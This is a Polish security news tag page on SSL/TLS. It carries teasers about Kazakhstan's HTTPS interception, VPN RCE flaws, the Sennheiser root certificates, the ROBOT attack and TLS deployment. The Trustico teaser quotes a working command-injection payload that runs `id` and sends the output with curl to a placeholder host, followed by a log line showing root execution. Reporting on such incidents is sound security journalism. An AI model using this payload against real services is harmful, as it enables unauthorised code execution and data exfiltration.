Tag: SSL

Deszyfrują ruch HTTPS na poziomie całego kraju! Narodowy certyfikat root CA w akcji (Kazachstan)

19 lipca 2019, 00:06 | Aktualności | komentarzy 16
Deszyfrują ruch HTTPS na poziomie całego kraju! Narodowy certyfikat root CA w akcji (Kazachstan)

Alarmujący wątek można przeczytać na bugtrackerze Mozilli: „MITM on all HTTPS traffic in Kazakhstan”. Wygląda to na zmasowaną akcję rządową w połączeniu z operatorami telekomunikacyjnymi. Ci ostatni wysyłają informacje do użytkowników z prośbą o instalację w swoim systemie nowego (rządowego) certyfikatu root CA. Jeśli się nie zastosujesz – prawdopodobnie stracisz dostęp do…

Czytaj dalej »

Używacie VPNa? Nadchodzi huragan. Na początek pełne przejęcie Palo Alto GlobalProtect – SSL VPN.

17 lipca 2019, 16:29 | Aktualności | komentarzy 13
Używacie VPNa? Nadchodzi huragan. Na początek pełne przejęcie Palo Alto GlobalProtect – SSL VPN.

Pierwszy z trzech artykułów, który pokazuje świeże podatności u trzech znanych producentów VPN-ów. Żadna z luk nie wymaga posiadania konta i umożliwia wykonanie kodu w systemie operacyjnym, na którym pracuje VPN (podatność klasy RCE). Lukę można wykryć dość prosto (uwaga, nie róbcie tego na systemach produkcyjnych, bo zabija to usługę!)…

Czytaj dalej »

Jak działa PKI? Co znajdziesz w certyfikatach SSL? – poradnik

19 grudnia 2018, 11:05 | W biegu | 0 komentarzy

Co konkretnego znajdziesz w certyfikatach? Do czego wykorzystywane są konkretne wartości? Obiły ci się o uszy terminy: X.509, ASN.1, OIDs, DER, PEM, PKCS, ale nie pamiętasz już szczegółów? Potrzebujesz narzędzia które w prosty sposób przeanalizuje twoje certyfikaty czy klucze? Odpowiedzi na te pytania znajdziesz w tym poradniku – uwaga, do przeczytania…

Czytaj dalej »

Słuchawki… z oprogramowaniem umożliwiającym podsłuchiwanie Waszej komunikacji https!

28 listopada 2018, 17:57 | W biegu | komentarze 4

Dokładniej chodzi o oprogramowanie Sennheiser HeadSetup oraz Sennheiser HeadSetup Pro. Doinstalowywało ono do Windows / macOS dwa nowe root certyfikaty CA. Co z tego wynika? Jeśli producent stworzyłby zupełnie inny certyfikat (np. dla serwera https) i podpisałby go swoim kluczem, nasz Windows ufałby takiemu połączeniu bez żadnego ostrzeżenia. W końcu tak w…

Czytaj dalej »

Nowa kampania phishingowa na Netflixa – lądujemy na stronie z prawidłowym certyfikatem TLS

22 czerwca 2018, 14:15 | W biegu | 1 komentarz

O ciekawym przypadku nowej kampanii phishingowej Netflixa poinformował ostatnio SANS (https://isc.sans.edu/diary/23786). Napastnicy rozsyłają maile z ostrzeżeniem mające zmanipulować ofiarę do kliknięcia przycisku który przekieruje ofiarę na fałszywą stronę (Rys nr 1). Ta część ataku nie była przygotowana najlepiej, rozesłane maile nie były podobne do oryginalnych wiadomości rozsyłanych przez Netflixa do…

Czytaj dalej »

23 000 certyfikatów SSL do wyrzutki. Mieli serwis odpalony na roocie + banalne wstrzyknięcie

04 marca 2018, 17:39 | W biegu | komentarze 2

Chodzi o Trustico, który dostarczał certyfikaty SSL m.in. „pechowemu” Equifax. Jak wyglądał exploit dający roota? Banalnie – w miejscu gdzie sprawdzaliśmy domenę wystarczyło wpisać: $(curl https://domain/`id`) Efekt? Porażający, bo poza wykonaniem kodu, widać że wykonuje się on jako root: 35.190.140.214 - [01/Mar/2018:09:52:14 -0500] "GET /uid=0(root) HTTP/1.1" 404 209 "-" "curl/7.29.0" Nasi czytelnicy raczej się nie nabiorą nigdy na hasło Trustico (i…

Czytaj dalej »

Nowy atak na RSA/SSL – ROBOT. Umożliwia deszyfrację ruchu.

12 grudnia 2017, 21:04 | W biegu | 1 komentarz

Czy warto się przejmować? Autorzy badania dotyczącego nowego ataku ROBOT, pokazali w ramach demo, podpisanie wiadomości… kluczem prywatnym Facebooka (dokładniej: chodzi o ich certyfikat HTTPS i powiązany z nim klucz prywatny): Further we have demonstrated practical exploitation by signing a message with the private key of facebook.com’s HTTPS certificate. Tutaj…

Czytaj dalej »

Kilka słów o wdrożeniu SSL i TLS – cz. II

29 marca 2017, 19:11 | Teksty | komentarzy 7
Kilka słów o wdrożeniu SSL i TLS – cz. II

W poprzedniej części poznaliśmy teoretyczne przesłanki, na które należy zwrócić uwagę podczas przygotowania się do wdrożenia mechanizmów szyfrowania SSL/TLS. W tej części postaramy się skupić na konfiguracji, która gwarantuje nam poprawne prezentowanie odwiedzającym naszą stronę stosowanych zabezpieczeń i szyfrów kryptograficznych.

Czytaj dalej »

Kilka słów o wdrożeniu SSL i TLS – cz. I

09 lutego 2017, 07:44 | Teksty | komentarzy 19
Kilka słów o wdrożeniu SSL i TLS – cz. I

SSL / TLS jest pozornie prostą techniką zapewniającą m.in. ochronę witryn internetowych. Gwarantuje poufność transmisji danych przesyłanych przez internet, zachowując przy tym prostotę instalacji i działania – z wyjątkiem, gdy tak nie jest. Przy końcówce 2014 roku, gigant z Mountain View – Google – na swoim blogu poinformował, że strony…

Czytaj dalej »